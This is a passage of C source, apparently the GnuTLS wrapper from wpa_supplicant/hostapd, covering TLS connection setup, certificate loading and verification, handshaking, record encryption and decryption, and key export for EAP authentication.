opaque master_secret[TLS_MASTER_SIZE];
opaque client_random[TLS_RANDOM_SIZE];
opaque server_random[TLS_RANDOM_SIZE];
/* followed by stuff we are not interested in */
} security_parameters_st;
struct gnutls_session_int {
security_parameters_st security_parameters;
/* followed by things we are not interested in */
};
#endif /* LIBGNUTLS_VERSION_NUMBER < 0x010302 */
static int tls_gnutls_ref_count = 0;
struct tls_global {
/* Data for session resumption */
void *session_data;
size_t session_data_size;
int server;
int params_set;
gnutls_certificate_credentials_t xcred;
};
struct tls_connection {
gnutls_session session;
char *subject_match, *altsubject_match;
int read_alerts, write_alerts, failed;
u8 *pre_shared_secret;
size_t pre_shared_secret_len;
int established;
int verify_peer;
struct wpabuf *push_buf;
struct wpabuf *pull_buf;
const u8 *pull_buf_offset;
int params_set;
gnutls_certificate_credentials_t xcred;
int tls_ia;
int final_phase_finished;
#ifdef GNUTLS_IA
gnutls_ia_server_credentials_t iacred_srv;
gnutls_ia_client_credentials_t iacred_cli;
/* Session keys generated in the current phase for inner secret
* permutation before generating/verifying PhaseFinished. */
u8 *session_keys;
size_t session_keys_len;
u8 inner_secret[TLS_MASTER_SIZE];
#endif /* GNUTLS_IA */
};
static void tls_log_func(int level, const char *msg)
{
char *s, *pos;
if (level == 6 || level == 7) {
/* These levels seem to be mostly I/O debug and msg dumps */
return;
}
s = os_strdup(msg);
if (s == NULL)
return;
pos = s;
while (*pos != '\0') {
if (*pos == '\n') {
*pos = '\0';
break;
}
pos++;
}
wpa_printf(level > 3 ? MSG_MSGDUMP : MSG_DEBUG,
"gnutls<%d> %s", level, s);
os_free(s);
}
extern int wpa_debug_show_keys;
void * tls_init(const struct tls_config *conf)
{
struct tls_global *global;
#ifdef GNUTLS_INTERNAL_STRUCTURE_HACK
/* Because of the horrible hack to get master_secret and client/server
* random, we need to make sure that the gnutls version is something
* that is expected to have same structure definition for the session
* data.. */
const char *ver;
const char *ok_ver[] = { "1.2.3", "1.2.4", "1.2.5", "1.2.6", "1.2.9",
"1.3.2",
NULL };
int i;
#endif /* GNUTLS_INTERNAL_STRUCTURE_HACK */
global = os_zalloc(sizeof(*global));
if (global == NULL)
return NULL;
if (tls_gnutls_ref_count == 0 && gnutls_global_init() < 0) {
os_free(global);
return NULL;
}
tls_gnutls_ref_count++;
#ifdef GNUTLS_INTERNAL_STRUCTURE_HACK
ver = gnutls_check_version(NULL);
if (ver == NULL) {
tls_deinit(global);
return NULL;
}
wpa_printf(MSG_DEBUG, "%s - gnutls version %s", __func__, ver);
for (i = 0; ok_ver[i]; i++) {
if (strcmp(ok_ver[i], ver) == 0)
break;
}
if (ok_ver[i] == NULL) {
wpa_printf(MSG_INFO, "Untested gnutls version %s - this needs "
"to be tested and enabled in tls_gnutls.c", ver);
tls_deinit(global);
return NULL;
}
#endif /* GNUTLS_INTERNAL_STRUCTURE_HACK */
gnutls_global_set_log_function(tls_log_func);
if (wpa_debug_show_keys)
gnutls_global_set_log_level(11);
return global;
}
void tls_deinit(void *ssl_ctx)
{
struct tls_global *global = ssl_ctx;
if (global) {
if (global->params_set)
gnutls_certificate_free_credentials(global->xcred);
os_free(global->session_data);
os_free(global);
}
tls_gnutls_ref_count--;
if (tls_gnutls_ref_count == 0)
gnutls_global_deinit();
}
int tls_get_errors(void *ssl_ctx)
{
return 0;
}
static ssize_t tls_pull_func(gnutls_transport_ptr ptr, void *buf,
size_t len)
{
struct tls_connection *conn = (struct tls_connection *) ptr;
const u8 *end;
if (conn->pull_buf == NULL) {
errno = EWOULDBLOCK;
return -1;
}
end = wpabuf_head_u8(conn->pull_buf) + wpabuf_len(conn->pull_buf);
if ((size_t) (end - conn->pull_buf_offset) < len)
len = end - conn->pull_buf_offset;
os_memcpy(buf, conn->pull_buf_offset, len);
conn->pull_buf_offset += len;
if (conn->pull_buf_offset == end) {
wpa_printf(MSG_DEBUG, "%s - pull_buf consumed", __func__);
wpabuf_free(conn->pull_buf);
conn->pull_buf = NULL;
conn->pull_buf_offset = NULL;
} else {
wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in pull_buf",
__func__,
(unsigned long) (end - conn->pull_buf_offset));
}
return len;
}
static ssize_t tls_push_func(gnutls_transport_ptr ptr, const void *buf,
size_t len)
{
struct tls_connection *conn = (struct tls_connection *) ptr;
if (wpabuf_resize(&conn->push_buf, len) < 0) {
errno = ENOMEM;
return -1;
}
wpabuf_put_data(conn->push_buf, buf, len);
return len;
}
static int tls_gnutls_init_session(struct tls_global *global,
struct tls_connection *conn)
{
const int cert_types[2] = { GNUTLS_CRT_X509, 0 };
const int protos[2] = { GNUTLS_TLS1, 0 };
int ret;
ret = gnutls_init(&conn->session,
global->server ? GNUTLS_SERVER : GNUTLS_CLIENT);
if (ret < 0) {
wpa_printf(MSG_INFO, "TLS: Failed to initialize new TLS "
"connection: %s", gnutls_strerror(ret));
return -1;
}
ret = gnutls_set_default_priority(conn->session);
if (ret < 0)
goto fail;
ret = gnutls_certificate_type_set_priority(conn->session, cert_types);
if (ret < 0)
goto fail;
ret = gnutls_protocol_set_priority(conn->session, protos);
if (ret < 0)
goto fail;
gnutls_transport_set_pull_function(conn->session, tls_pull_func);
gnutls_transport_set_push_function(conn->session, tls_push_func);
gnutls_transport_set_ptr(conn->session, (gnutls_transport_ptr) conn);
return 0;
fail:
wpa_printf(MSG_INFO, "TLS: Failed to setup new TLS connection: %s",
gnutls_strerror(ret));
gnutls_deinit(conn->session);
return -1;
}
struct tls_connection * tls_connection_init(void *ssl_ctx)
{
struct tls_global *global = ssl_ctx;
struct tls_connection *conn;
int ret;
conn = os_zalloc(sizeof(*conn));
if (conn == NULL)
return NULL;
if (tls_gnutls_init_session(global, conn)) {
os_free(conn);
return NULL;
}
if (global->params_set) {
ret = gnutls_credentials_set(conn->session,
GNUTLS_CRD_CERTIFICATE,
global->xcred);
if (ret < 0) {
wpa_printf(MSG_INFO, "Failed to configure "
"credentials: %s", gnutls_strerror(ret));
os_free(conn);
return NULL;
}
}
if (gnutls_certificate_allocate_credentials(&conn->xcred)) {
os_free(conn);
return NULL;
}
return conn;
}
void tls_connection_deinit(void *ssl_ctx, struct tls_connection *conn)
{
if (conn == NULL)
return;
#ifdef GNUTLS_IA
if (conn->iacred_srv)
gnutls_ia_free_server_credentials(conn->iacred_srv);
if (conn->iacred_cli)
gnutls_ia_free_client_credentials(conn->iacred_cli);
if (conn->session_keys) {
os_memset(conn->session_keys, 0, conn->session_keys_len);
os_free(conn->session_keys);
}
#endif /* GNUTLS_IA */
gnutls_certificate_free_credentials(conn->xcred);
gnutls_deinit(conn->session);
os_free(conn->pre_shared_secret);
os_free(conn->subject_match);
os_free(conn->altsubject_match);
wpabuf_free(conn->push_buf);
wpabuf_free(conn->pull_buf);
os_free(conn);
}
int tls_connection_established(void *ssl_ctx, struct tls_connection *conn)
{
return conn ? conn->established : 0;
}
int tls_connection_shutdown(void *ssl_ctx, struct tls_connection *conn)
{
struct tls_global *global = ssl_ctx;
int ret;
if (conn == NULL)
return -1;
/* Shutdown previous TLS connection without notifying the peer
* because the connection was already terminated in practice
* and "close notify" shutdown alert would confuse AS. */
gnutls_bye(conn->session, GNUTLS_SHUT_RDWR);
wpabuf_free(conn->push_buf);
conn->push_buf = NULL;
conn->established = 0;
conn->final_phase_finished = 0;
#ifdef GNUTLS_IA
if (conn->session_keys) {
os_memset(conn->session_keys, 0, conn->session_keys_len);
os_free(conn->session_keys);
}
conn->session_keys_len = 0;
#endif /* GNUTLS_IA */
gnutls_deinit(conn->session);
if (tls_gnutls_init_session(global, conn)) {
wpa_printf(MSG_INFO, "GnuTLS: Failed to preparare new session "
"for session resumption use");
return -1;
}
ret = gnutls_credentials_set(conn->session, GNUTLS_CRD_CERTIFICATE,
conn->params_set ? conn->xcred :
global->xcred);
if (ret < 0) {
wpa_printf(MSG_INFO, "GnuTLS: Failed to configure credentials "
"for session resumption: %s", gnutls_strerror(ret));
return -1;
}
if (global->session_data) {
ret = gnutls_session_set_data(conn->session,
global->session_data,
global->session_data_size);
if (ret < 0) {
wpa_printf(MSG_INFO, "GnuTLS: Failed to set session "
"data: %s", gnutls_strerror(ret));
return -1;
}
}
return 0;
}
#if 0
static int tls_match_altsubject(X509 *cert, const char *match)
{
GENERAL_NAME *gen;
char *field, *tmp;
void *ext;
int i, found = 0;
size_t len;
ext = X509_get_ext_d2i(cert, NID_subject_alt_name, NULL, NULL);
for (i = 0; ext && i < sk_GENERAL_NAME_num(ext); i++) {
gen = sk_GENERAL_NAME_value(ext, i);
switch (gen->type) {
case GEN_EMAIL:
field = "EMAIL";
break;
case GEN_DNS:
field = "DNS";
break;
case GEN_URI:
field = "URI";
break;
default:
field = NULL;
wpa_printf(MSG_DEBUG, "TLS: altSubjectName: "
"unsupported type=%d", gen->type);
break;
}
if (!field)
continue;
wpa_printf(MSG_DEBUG, "TLS: altSubjectName: %s:%s",
field, gen->d.ia5->data);
len = os_strlen(field) + 1 +
strlen((char *) gen->d.ia5->data) + 1;
tmp = os_malloc(len);
if (tmp == NULL)
continue;
snprintf(tmp, len, "%s:%s", field, gen->d.ia5->data);
if (strstr(tmp, match))
found++;
os_free(tmp);
}
return found;
}
#endif
#if 0
static int tls_verify_cb(int preverify_ok, X509_STORE_CTX *x509_ctx)
{
char buf[256];
X509 *err_cert;
int err, depth;
SSL *ssl;
struct tls_connection *conn;
char *match, *altmatch;
err_cert = X509_STORE_CTX_get_current_cert(x509_ctx);
err = X509_STORE_CTX_get_error(x509_ctx);
depth = X509_STORE_CTX_get_error_depth(x509_ctx);
ssl = X509_STORE_CTX_get_ex_data(x509_ctx,
SSL_get_ex_data_X509_STORE_CTX_idx());
X509_NAME_oneline(X509_get_subject_name(err_cert), buf, sizeof(buf));
conn = SSL_get_app_data(ssl);
match = conn ? conn->subject_match : NULL;
altmatch = conn ? conn->altsubject_match : NULL;
if (!preverify_ok) {
wpa_printf(MSG_WARNING, "TLS: Certificate verification failed,"
" error %d (%s) depth %d for '%s'", err,
X509_verify_cert_error_string(err), depth, buf);
} else {
wpa_printf(MSG_DEBUG, "TLS: tls_verify_cb - "
"preverify_ok=%d err=%d (%s) depth=%d buf='%s'",
preverify_ok, err,
X509_verify_cert_error_string(err), depth, buf);
if (depth == 0 && match && strstr(buf, match) == NULL) {
wpa_printf(MSG_WARNING, "TLS: Subject '%s' did not "
"match with '%s'", buf, match);
preverify_ok = 0;
} else if (depth == 0 && altmatch &&
!tls_match_altsubject(err_cert, altmatch)) {
wpa_printf(MSG_WARNING, "TLS: altSubjectName match "
"'%s' not found", altmatch);
preverify_ok = 0;
}
}
return preverify_ok;
}
#endif
int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn,
const struct tls_connection_params *params)
{
int ret;
if (conn == NULL || params == NULL)
return -1;
os_free(conn->subject_match);
conn->subject_match = NULL;
if (params->subject_match) {
conn->subject_match = os_strdup(params->subject_match);
if (conn->subject_match == NULL)
return -1;
}
os_free(conn->altsubject_match);
conn->altsubject_match = NULL;
if (params->altsubject_match) {
conn->altsubject_match = os_strdup(params->altsubject_match);
if (conn->altsubject_match == NULL)
return -1;
}
/* TODO: gnutls_certificate_set_verify_flags(xcred, flags);
* to force peer validation(?) */
if (params->ca_cert) {
conn->verify_peer = 1;
ret = gnutls_certificate_set_x509_trust_file(
conn->xcred, params->ca_cert, GNUTLS_X509_FMT_PEM);
if (ret < 0) {
wpa_printf(MSG_DEBUG, "Failed to read CA cert '%s' "
"in PEM format: %s", params->ca_cert,
gnutls_strerror(ret));
ret = gnutls_certificate_set_x509_trust_file(
conn->xcred, params->ca_cert,
GNUTLS_X509_FMT_DER);
if (ret < 0) {
wpa_printf(MSG_DEBUG, "Failed to read CA cert "
"'%s' in DER format: %s",
params->ca_cert,
gnutls_strerror(ret));
return -1;
}
}
if (params->flags & TLS_CONN_ALLOW_SIGN_RSA_MD5) {
gnutls_certificate_set_verify_flags(
conn->xcred, GNUTLS_VERIFY_ALLOW_SIGN_RSA_MD5);
}
if (params->flags & TLS_CONN_DISABLE_TIME_CHECKS) {
gnutls_certificate_set_verify_flags(
conn->xcred,
GNUTLS_VERIFY_DISABLE_TIME_CHECKS);
}
}
if (params->client_cert && params->private_key) {
/* TODO: private_key_passwd? */
ret = gnutls_certificate_set_x509_key_file(
conn->xcred, params->client_cert, params->private_key,
GNUTLS_X509_FMT_PEM);
if (ret < 0) {
wpa_printf(MSG_DEBUG, "Failed to read client cert/key "
"in PEM format: %s", gnutls_strerror(ret));
ret = gnutls_certificate_set_x509_key_file(
conn->xcred, params->client_cert,
params->private_key, GNUTLS_X509_FMT_DER);
if (ret < 0) {
wpa_printf(MSG_DEBUG, "Failed to read client "
"cert/key in DER format: %s",
gnutls_strerror(ret));
return ret;
}
}
} else if (params->private_key) {
int pkcs12_ok = 0;
#ifdef PKCS12_FUNCS
/* Try to load in PKCS#12 format */
#if LIBGNUTLS_VERSION_NUMBER >= 0x010302
ret = gnutls_certificate_set_x509_simple_pkcs12_file(
conn->xcred, params->private_key, GNUTLS_X509_FMT_DER,
params->private_key_passwd);
if (ret != 0) {
wpa_printf(MSG_DEBUG, "Failed to load private_key in "
"PKCS#12 format: %s", gnutls_strerror(ret));
return -1;
} else
pkcs12_ok = 1;
#endif /* LIBGNUTLS_VERSION_NUMBER >= 0x010302 */
#endif /* PKCS12_FUNCS */
if (!pkcs12_ok) {
wpa_printf(MSG_DEBUG, "GnuTLS: PKCS#12 support not "
"included");
return -1;
}
}
conn->tls_ia = params->tls_ia;
conn->params_set = 1;
ret = gnutls_credentials_set(conn->session, GNUTLS_CRD_CERTIFICATE,
conn->xcred);
if (ret < 0) {
wpa_printf(MSG_INFO, "Failed to configure credentials: %s",
gnutls_strerror(ret));
}
#ifdef GNUTLS_IA
if (conn->iacred_cli)
gnutls_ia_free_client_credentials(conn->iacred_cli);
ret = gnutls_ia_allocate_client_credentials(&conn->iacred_cli);
if (ret) {
wpa_printf(MSG_DEBUG, "Failed to allocate IA credentials: %s",
gnutls_strerror(ret));
return -1;
}
ret = gnutls_credentials_set(conn->session, GNUTLS_CRD_IA,
conn->iacred_cli);
if (ret) {
wpa_printf(MSG_DEBUG, "Failed to configure IA credentials: %s",
gnutls_strerror(ret));
gnutls_ia_free_client_credentials(conn->iacred_cli);
conn->iacred_cli = NULL;
return -1;
}
#endif /* GNUTLS_IE */
return ret;
}
int tls_global_set_params(void *tls_ctx,
const struct tls_connection_params *params)
{
struct tls_global *global = tls_ctx;
int ret;
/* Currently, global parameters are only set when running in server
* mode. */
global->server = 1;
if (global->params_set) {
gnutls_certificate_free_credentials(global->xcred);
global->params_set = 0;
}
ret = gnutls_certificate_allocate_credentials(&global->xcred);
if (ret) {
wpa_printf(MSG_DEBUG, "Failed to allocate global credentials "
"%s", gnutls_strerror(ret));
return -1;
}
if (params->ca_cert) {
ret = gnutls_certificate_set_x509_trust_file(
global->xcred, params->ca_cert, GNUTLS_X509_FMT_PEM);
if (ret < 0) {
wpa_printf(MSG_DEBUG, "Failed to read CA cert '%s' "
"in PEM format: %s", params->ca_cert,
gnutls_strerror(ret));
ret = gnutls_certificate_set_x509_trust_file(
global->xcred, params->ca_cert,
GNUTLS_X509_FMT_DER);
if (ret < 0) {
wpa_printf(MSG_DEBUG, "Failed to read CA cert "
"'%s' in DER format: %s",
params->ca_cert,
gnutls_strerror(ret));
goto fail;
}
}
if (params->flags & TLS_CONN_ALLOW_SIGN_RSA_MD5) {
gnutls_certificate_set_verify_flags(
global->xcred,
GNUTLS_VERIFY_ALLOW_SIGN_RSA_MD5);
}
if (params->flags & TLS_CONN_DISABLE_TIME_CHECKS) {
gnutls_certificate_set_verify_flags(
global->xcred,
GNUTLS_VERIFY_DISABLE_TIME_CHECKS);
}
}
if (params->client_cert && params->private_key) {
/* TODO: private_key_passwd? */
ret = gnutls_certificate_set_x509_key_file(
global->xcred, params->client_cert,
params->private_key, GNUTLS_X509_FMT_PEM);
if (ret < 0) {
wpa_printf(MSG_DEBUG, "Failed to read client cert/key "
"in PEM format: %s", gnutls_strerror(ret));
ret = gnutls_certificate_set_x509_key_file(
global->xcred, params->client_cert,
params->private_key, GNUTLS_X509_FMT_DER);
if (ret < 0) {
wpa_printf(MSG_DEBUG, "Failed to read client "
"cert/key in DER format: %s",
gnutls_strerror(ret));
goto fail;
}
}
} else if (params->private_key) {
int pkcs12_ok = 0;
#ifdef PKCS12_FUNCS
/* Try to load in PKCS#12 format */
#if LIBGNUTLS_VERSION_NUMBER >= 0x010302
ret = gnutls_certificate_set_x509_simple_pkcs12_file(
global->xcred, params->private_key,
GNUTLS_X509_FMT_DER, params->private_key_passwd);
if (ret != 0) {
wpa_printf(MSG_DEBUG, "Failed to load private_key in "
"PKCS#12 format: %s", gnutls_strerror(ret));
goto fail;
} else
pkcs12_ok = 1;
#endif /* LIBGNUTLS_VERSION_NUMBER >= 0x010302 */
#endif /* PKCS12_FUNCS */
if (!pkcs12_ok) {
wpa_printf(MSG_DEBUG, "GnuTLS: PKCS#12 support not "
"included");
goto fail;
}
}
global->params_set = 1;
return 0;
fail:
gnutls_certificate_free_credentials(global->xcred);
return -1;
}
int tls_global_set_verify(void *ssl_ctx, int check_crl)
{
/* TODO */
return 0;
}
int tls_connection_set_verify(void *ssl_ctx, struct tls_connection *conn,
int verify_peer)
{
if (conn == NULL || conn->session == NULL)
return -1;
conn->verify_peer = verify_peer;
gnutls_certificate_server_set_request(conn->session,
verify_peer ? GNUTLS_CERT_REQUIRE
: GNUTLS_CERT_REQUEST);
return 0;
}
int tls_connection_get_keys(void *ssl_ctx, struct tls_connection *conn,
struct tls_keys *keys)
{
#ifdef GNUTLS_INTERNAL_STRUCTURE_HACK
security_parameters_st *sec;
#endif /* GNUTLS_INTERNAL_STRUCTURE_HACK */
if (conn == NULL || conn->session == NULL || keys == NULL)
return -1;
os_memset(keys, 0, sizeof(*keys));
#ifdef GNUTLS_INTERNAL_STRUCTURE_HACK
sec = &conn->session->security_parameters;
keys->master_key = sec->master_secret;
keys->master_key_len = TLS_MASTER_SIZE;
keys->client_random = sec->client_random;
keys->server_random = sec->server_random;
#else /* GNUTLS_INTERNAL_STRUCTURE_HACK */
keys->client_random =
(u8 *) gnutls_session_get_client_random(conn->session);
keys->server_random =
(u8 *) gnutls_session_get_server_random(conn->session);
/* No access to master_secret */
#endif /* GNUTLS_INTERNAL_STRUCTURE_HACK */
#ifdef GNUTLS_IA
gnutls_ia_extract_inner_secret(conn->session,
(char *) conn->inner_secret);
keys->inner_secret = conn->inner_secret;
keys->inner_secret_len = TLS_MASTER_SIZE;
#endif /* GNUTLS_IA */
keys->client_random_len = TLS_RANDOM_SIZE;
keys->server_random_len = TLS_RANDOM_SIZE;
return 0;
}
int tls_connection_prf(void *tls_ctx, struct tls_connection *conn,
const char *label, int server_random_first,
u8 *out, size_t out_len)
{
#if LIBGNUTLS_VERSION_NUMBER >= 0x010302
if (conn == NULL || conn->session == NULL)
return -1;
return gnutls_prf(conn->session, os_strlen(label), label,
server_random_first, 0, NULL, out_len, (char *) out);
#else /* LIBGNUTLS_VERSION_NUMBER >= 0x010302 */
return -1;
#endif /* LIBGNUTLS_VERSION_NUMBER >= 0x010302 */
}
static int tls_connection_verify_peer(struct tls_connection *conn,
gnutls_alert_description_t *err)
{
unsigned int status, num_certs, i;
struct os_time now;
const gnutls_datum_t *certs;
gnutls_x509_crt_t cert;
if (gnutls_certificate_verify_peers2(conn->session, &status) < 0) {
wpa_printf(MSG_INFO, "TLS: Failed to verify peer "
"certificate chain");
*err = GNUTLS_A_INTERNAL_ERROR;
return -1;
}
if (conn->verify_peer && (status & GNUTLS_CERT_INVALID)) {
wpa_printf(MSG_INFO, "TLS: Peer certificate not trusted");
if (status & GNUTLS_CERT_INSECURE_ALGORITHM) {
wpa_printf(MSG_INFO, "TLS: Certificate uses insecure "
"algorithm");
*err = GNUTLS_A_INSUFFICIENT_SECURITY;
}
if (status & GNUTLS_CERT_NOT_ACTIVATED) {
wpa_printf(MSG_INFO, "TLS: Certificate not yet "
"activated");
*err = GNUTLS_A_CERTIFICATE_EXPIRED;
}
if (status & GNUTLS_CERT_EXPIRED) {
wpa_printf(MSG_INFO, "TLS: Certificate expired");
*err = GNUTLS_A_CERTIFICATE_EXPIRED;
}
return -1;
}
if (status & GNUTLS_CERT_SIGNER_NOT_FOUND) {
wpa_printf(MSG_INFO, "TLS: Peer certificate does not have a "
"known issuer");
*err = GNUTLS_A_UNKNOWN_CA;
return -1;
}
if (status & GNUTLS_CERT_REVOKED) {
wpa_printf(MSG_INFO, "TLS: Peer certificate has been revoked");
*err = GNUTLS_A_CERTIFICATE_REVOKED;
return -1;
}
os_get_time(&now);
certs = gnutls_certificate_get_peers(conn->session, &num_certs);
if (certs == NULL) {
wpa_printf(MSG_INFO, "TLS: No peer certificate chain "
"received");
*err = GNUTLS_A_UNKNOWN_CA;
return -1;
}
for (i = 0; i < num_certs; i++) {
char *buf;
size_t len;
if (gnutls_x509_crt_init(&cert) < 0) {
wpa_printf(MSG_INFO, "TLS: Certificate initialization "
"failed");
*err = GNUTLS_A_BAD_CERTIFICATE;
return -1;
}
if (gnutls_x509_crt_import(cert, &certs[i],
GNUTLS_X509_FMT_DER) < 0) {
wpa_printf(MSG_INFO, "TLS: Could not parse peer "
"certificate %d/%d", i + 1, num_certs);
gnutls_x509_crt_deinit(cert);
*err = GNUTLS_A_BAD_CERTIFICATE;
return -1;
}
gnutls_x509_crt_get_dn(cert, NULL, &len);
len++;
buf = os_malloc(len + 1);
if (buf) {
buf[0] = buf[len] = '\0';
gnutls_x509_crt_get_dn(cert, buf, &len);
}
wpa_printf(MSG_DEBUG, "TLS: Peer cert chain %d/%d: %s",
i + 1, num_certs, buf);
if (i == 0) {
/* TODO: validate subject_match and altsubject_match */
}
os_free(buf);
if (gnutls_x509_crt_get_expiration_time(cert) < now.sec ||
gnutls_x509_crt_get_activation_time(cert) > now.sec) {
wpa_printf(MSG_INFO, "TLS: Peer certificate %d/%d is "
"not valid at this time",
i + 1, num_certs);
gnutls_x509_crt_deinit(cert);
*err = GNUTLS_A_CERTIFICATE_EXPIRED;
return -1;
}
gnutls_x509_crt_deinit(cert);
}
return 0;
}
static struct wpabuf * gnutls_get_appl_data(struct tls_connection *conn)
{
int res;
struct wpabuf *ad;
wpa_printf(MSG_DEBUG, "GnuTLS: Check for possible Application Data");
ad = wpabuf_alloc((wpabuf_len(conn->pull_buf) + 500) * 3);
if (ad == NULL)
return NULL;
res = gnutls_record_recv(conn->session, wpabuf_mhead(ad),
wpabuf_size(ad));
wpa_printf(MSG_DEBUG, "GnuTLS: gnutls_record_recv: %d", res);
if (res < 0) {
wpa_printf(MSG_DEBUG, "%s - gnutls_ia_recv failed: %d "
"(%s)", __func__, (int) res,
gnutls_strerror(res));
wpabuf_free(ad);
return NULL;
}
wpabuf_put(ad, res);
wpa_printf(MSG_DEBUG, "GnuTLS: Received %d bytes of Application Data",
res);
return ad;
}
struct wpabuf * tls_connection_handshake(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data,
struct wpabuf **appl_data)
{
struct tls_global *global = tls_ctx;
struct wpabuf *out_data;
int ret;
if (appl_data)
*appl_data = NULL;
if (in_data && wpabuf_len(in_data) > 0) {
if (conn->pull_buf) {
wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in "
"pull_buf", __func__,
(unsigned long) wpabuf_len(conn->pull_buf));
wpabuf_free(conn->pull_buf);
}
conn->pull_buf = wpabuf_dup(in_data);
if (conn->pull_buf == NULL)
return NULL;
conn->pull_buf_offset = wpabuf_head(conn->pull_buf);
}
ret = gnutls_handshake(conn->session);
if (ret < 0) {
switch (ret) {
case GNUTLS_E_AGAIN:
if (global->server && conn->established &&
conn->push_buf == NULL) {
/* Need to return something to trigger
* completion of EAP-TLS. */
conn->push_buf = wpabuf_alloc(0);
}
break;
case GNUTLS_E_FATAL_ALERT_RECEIVED:
wpa_printf(MSG_DEBUG, "%s - received fatal '%s' alert",
__func__, gnutls_alert_get_name(
gnutls_alert_get(conn->session)));
conn->read_alerts++;
/* continue */
default:
wpa_printf(MSG_DEBUG, "%s - gnutls_handshake failed "
"-> %s", __func__, gnutls_strerror(ret));
conn->failed++;
}
} else {
size_t size;
gnutls_alert_description_t err;
if (conn->verify_peer &&
tls_connection_verify_peer(conn, &err)) {
wpa_printf(MSG_INFO, "TLS: Peer certificate chain "
"failed validation");
conn->failed++;
gnutls_alert_send(conn->session, GNUTLS_AL_FATAL, err);
goto out;
}
#ifdef CONFIG_GNUTLS_EXTRA
if (conn->tls_ia && !gnutls_ia_handshake_p(conn->session)) {
wpa_printf(MSG_INFO, "TLS: No TLS/IA negotiation");
conn->failed++;
return NULL;
}
#endif /* CONFIG_GNUTLS_EXTRA */
if (conn->tls_ia)
wpa_printf(MSG_DEBUG, "TLS: Start TLS/IA handshake");
else {
wpa_printf(MSG_DEBUG, "TLS: Handshake completed "
"successfully");
}
conn->established = 1;
if (conn->push_buf == NULL) {
/* Need to return something to get final TLS ACK. */
conn->push_buf = wpabuf_alloc(0);
}
gnutls_session_get_data(conn->session, NULL, &size);
if (global->session_data == NULL ||
global->session_data_size < size) {
os_free(global->session_data);
global->session_data = os_malloc(size);
}
if (global->session_data) {
global->session_data_size = size;
gnutls_session_get_data(conn->session,
global->session_data,
&global->session_data_size);
}
if (conn->pull_buf && appl_data)
*appl_data = gnutls_get_appl_data(conn);
}
out:
out_data = conn->push_buf;
conn->push_buf = NULL;
return out_data;
}
struct wpabuf * tls_connection_server_handshake(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data,
struct wpabuf **appl_data)
{
return tls_connection_handshake(tls_ctx, conn, in_data, appl_data);
}
struct wpabuf * tls_connection_encrypt(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data)
{
ssize_t res;
struct wpabuf *buf;
#ifdef GNUTLS_IA
if (conn->tls_ia)
res = gnutls_ia_send(conn->session, wpabuf_head(in_data),
wpabuf_len(in_data));
else
#endif /* GNUTLS_IA */
res = gnutls_record_send(conn->session, wpabuf_head(in_data),
wpabuf_len(in_data));
if (res < 0) {
wpa_printf(MSG_INFO, "%s: Encryption failed: %s",
__func__, gnutls_strerror(res));
return NULL;
}
buf = conn->push_buf;
conn->push_buf = NULL;
return buf;
}
struct wpabuf * tls_connection_decrypt(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data)
{
ssize_t res;
struct wpabuf *out;
if (conn->pull_buf) {
wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in "
"pull_buf", __func__,
(unsigned long) wpabuf_len(conn->pull_buf));
wpabuf_free(conn->pull_buf);
}
conn->pull_buf = wpabuf_dup(in_data);
if (conn->pull_buf == NULL)
return NULL;
conn->pull_buf_offset = wpabuf_head(conn->pull_buf);
/*
* Even though we try to disable TLS compression, it is possible that
* this cannot be done with all TLS libraries. Add extra buffer space
* to handle the possibility of the decrypted data being longer than
* input data.
*/
out = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3);
if (out == NULL)
return NULL;
#ifdef GNUTLS_IA
if (conn->tls_ia) {
res = gnutls_ia_recv(conn->session, wpabuf_mhead(out),
wpabuf_size(out));
if (res == GNUTLS_E_WARNING_IA_IPHF_RECEIVED ||
res == GNUTLS_E_WARNING_IA_FPHF_RECEIVED) {
int final = res == GNUTLS_E_WARNING_IA_FPHF_RECEIVED;
wpa_printf(MSG_DEBUG, "%s: Received %sPhaseFinished",
__func__, final ? "Final" : "Intermediate");
res = gnutls_ia_permute_inner_secret(
conn->session, conn->session_keys_len,
(char *) conn->session_keys);
if (conn->session_keys) {
os_memset(conn->session_keys, 0,
conn->session_keys_len);
os_free(conn->session_keys);
}
conn->session_keys = NULL;
conn->session_keys_len = 0;
if (res) {
wpa_printf(MSG_DEBUG, "%s: Failed to permute "
"inner secret: %s",
__func__, gnutls_strerror(res));
wpabuf_free(out);
return NULL;
}
res = gnutls_ia_verify_endphase(conn->session,
wpabuf_head(out));
if (res == 0) {
wpa_printf(MSG_DEBUG, "%s: Correct endphase "
"checksum", __func__);
} else {
wpa_printf(MSG_INFO, "%s: Endphase "
"verification failed: %s",
__func__, gnutls_strerror(res));
wpabuf_free(out);
return NULL;
}
if (final)
conn->final_phase_finished = 1;
return out;
}
if (res < 0) {
wpa_printf(MSG_DEBUG, "%s - gnutls_ia_recv failed: %d "
"(%s)", __func__, (int) res,
gnutls_strerror(res));
wpabuf_free(out);
return NULL;
}
wpabuf_put(out, res);
return out;
}
#endif /* GNUTLS_IA */
res = gnutls_record_recv(conn->session, wpabuf_mhead(out),
wpabuf_size(out));
if (res < 0) {
wpa_printf(MSG_DEBUG, "%s - gnutls_record_recv failed: %d "
"(%s)", __func__, (int) res, gnutls_strerror(res));
wpabuf_free(out);
return NULL;
}
wpabuf_put(out, res);
return out;
}
int tls_connection_resumed(void *ssl_ctx, struct tls_connection *conn)
{
if (conn == NULL)
return 0;
return gnutls_session_is_resumed(conn->session);
}
int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn,
u8 *ciphers)
{
/* TODO */
return -1;
}
int tls_get_cipher(void *ssl_ctx, struct tls_connection *conn,
char *buf, size_t buflen)
{
/* TODO */
buf[0] = '\0';
return 0;
}
int tls_connection_enable_workaround(void *ssl_ctx,
struct tls_connection *conn)
{
gnutls_record_disable_padding(conn->session);
return 0;
}
int tls_connection_client_hello_ext(void *ssl_ctx, struct tls_connection *conn,
int ext_type, const u8 *data,
size_t data_len)
{
/* TODO */
return -1;
}
int tls_connection_get_failed(void *ssl_ctx, struct tls_connection *conn)
{
if (conn == NULL)
return -1;
return conn->failed;
}
int tls_connection_get_read_alerts(void *ssl_ctx, struct tls_connection *conn)
